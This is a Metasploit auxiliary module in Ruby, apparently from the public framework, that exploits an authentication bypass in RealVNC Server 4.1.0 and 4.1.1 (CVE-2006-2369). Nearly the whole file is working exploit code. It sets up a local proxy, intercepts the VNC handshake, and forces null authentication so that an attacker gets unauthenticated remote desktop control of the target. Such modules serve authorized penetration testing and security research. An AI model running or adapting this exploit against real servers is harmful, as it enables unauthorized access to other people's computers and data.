metasploit-framework/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'RealVNC NULL Authentication Mode Bypass',
'Description' => %q{
This module exploits an Authentication bypass Vulnerability
in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy
listener on LPORT and proxies to the target server
The AUTOVNC option requires that vncviewer be installed on
the attacking machine.
},
'Author' =>
[
'hdm', #original msf2 module
'theLightCosine'
],
'License' => MSF_LICENSE,
'References' =>
[
['BID', '17978'],
['OSVDB', '25479'],
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['URL', 'http://secunia.com/advisories/20107/'],
['CVE', '2006-2369'],
],
'DisclosureDate' => 'May 15 2006'))
register_options(
[
OptPort.new('RPORT', [true, "The port the target VNC Server is listening on", 5900 ]),
OptPort.new('LPORT', [true, "The port the local VNC Proxy should listen on", 5900 ]),
OptBool.new('AUTOVNC', [true, "Automatically launch vncviewer from this host", false])
])
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end
def run
# starts up the Listener Server
print_status("Starting listener...")
listener = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => datastore['LPORT'],
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
# If the autovnc option is set to true this will spawn a vncviewer on the lcoal machine
# targetting the proxy listener.
if (datastore['AUTOVNC'])
unless (check_vncviewer())
print_error("The vncviewer does not appear to be installed, exiting...")
return nil
end
print_status("Spawning viewer thread...")
view = framework.threads.spawn("VncViewerWrapper", false) {
system("vncviewer 127.0.0.1::#{datastore['LPORT']}")
}
end
# Establishes the connection between the viewier and the remote server
client = listener.accept
add_socket(client)
# Closes the listener socket as it is no longer needed
listener.close
s = connect
serverhello = s.get_once
unless serverhello.include? "RFB 003.008"
print_error("The server is not vulnerable")
return
end
# MitM attack on the VNC Authentication Process
client.puts(serverhello)
clienthello = client.get_once
s.puts(clienthello)
authmethods = s.read(2)
print_status("Auth methods received. Sending null authentication option to client")
client.write("\x01\x01")
client.read(1)
s.put("\x01")
s.read(4)
client.put("\x00\x00\x00\x00")
# Handles remaining proxy operations between the two sockets
closed = false
while(closed == false)
sockets =[]
sockets << client
sockets << s
selected = select(sockets,nil,nil,0)
#print_status ("Selected: #{selected.inspect}")
unless selected.nil?
if selected[0].include?(client)
begin
data = client.get_once
if data.nil?
print_error("Client closed connection")
closed = true
else
s.put(data)
end
rescue
print_error("Client closed connection")
closed = true
end
end
if selected[0].include?(s)
begin
data = s.get_once
if data.nil?
print_error("Server closed connection")
closed = true
else
client.put(data)
end
rescue
closed = true
end
end
end
end
# Close sockets
s.close
client.close
if (datastore['AUTOVNC'])
view.kill rescue nil
end
end
def check_vncviewer
vnc =
Rex::FileUtils::find_full_path('vncviewer') ||
Rex::FileUtils::find_full_path('vncviewer.exe')
if (vnc)
return true
else
return false
end
end
end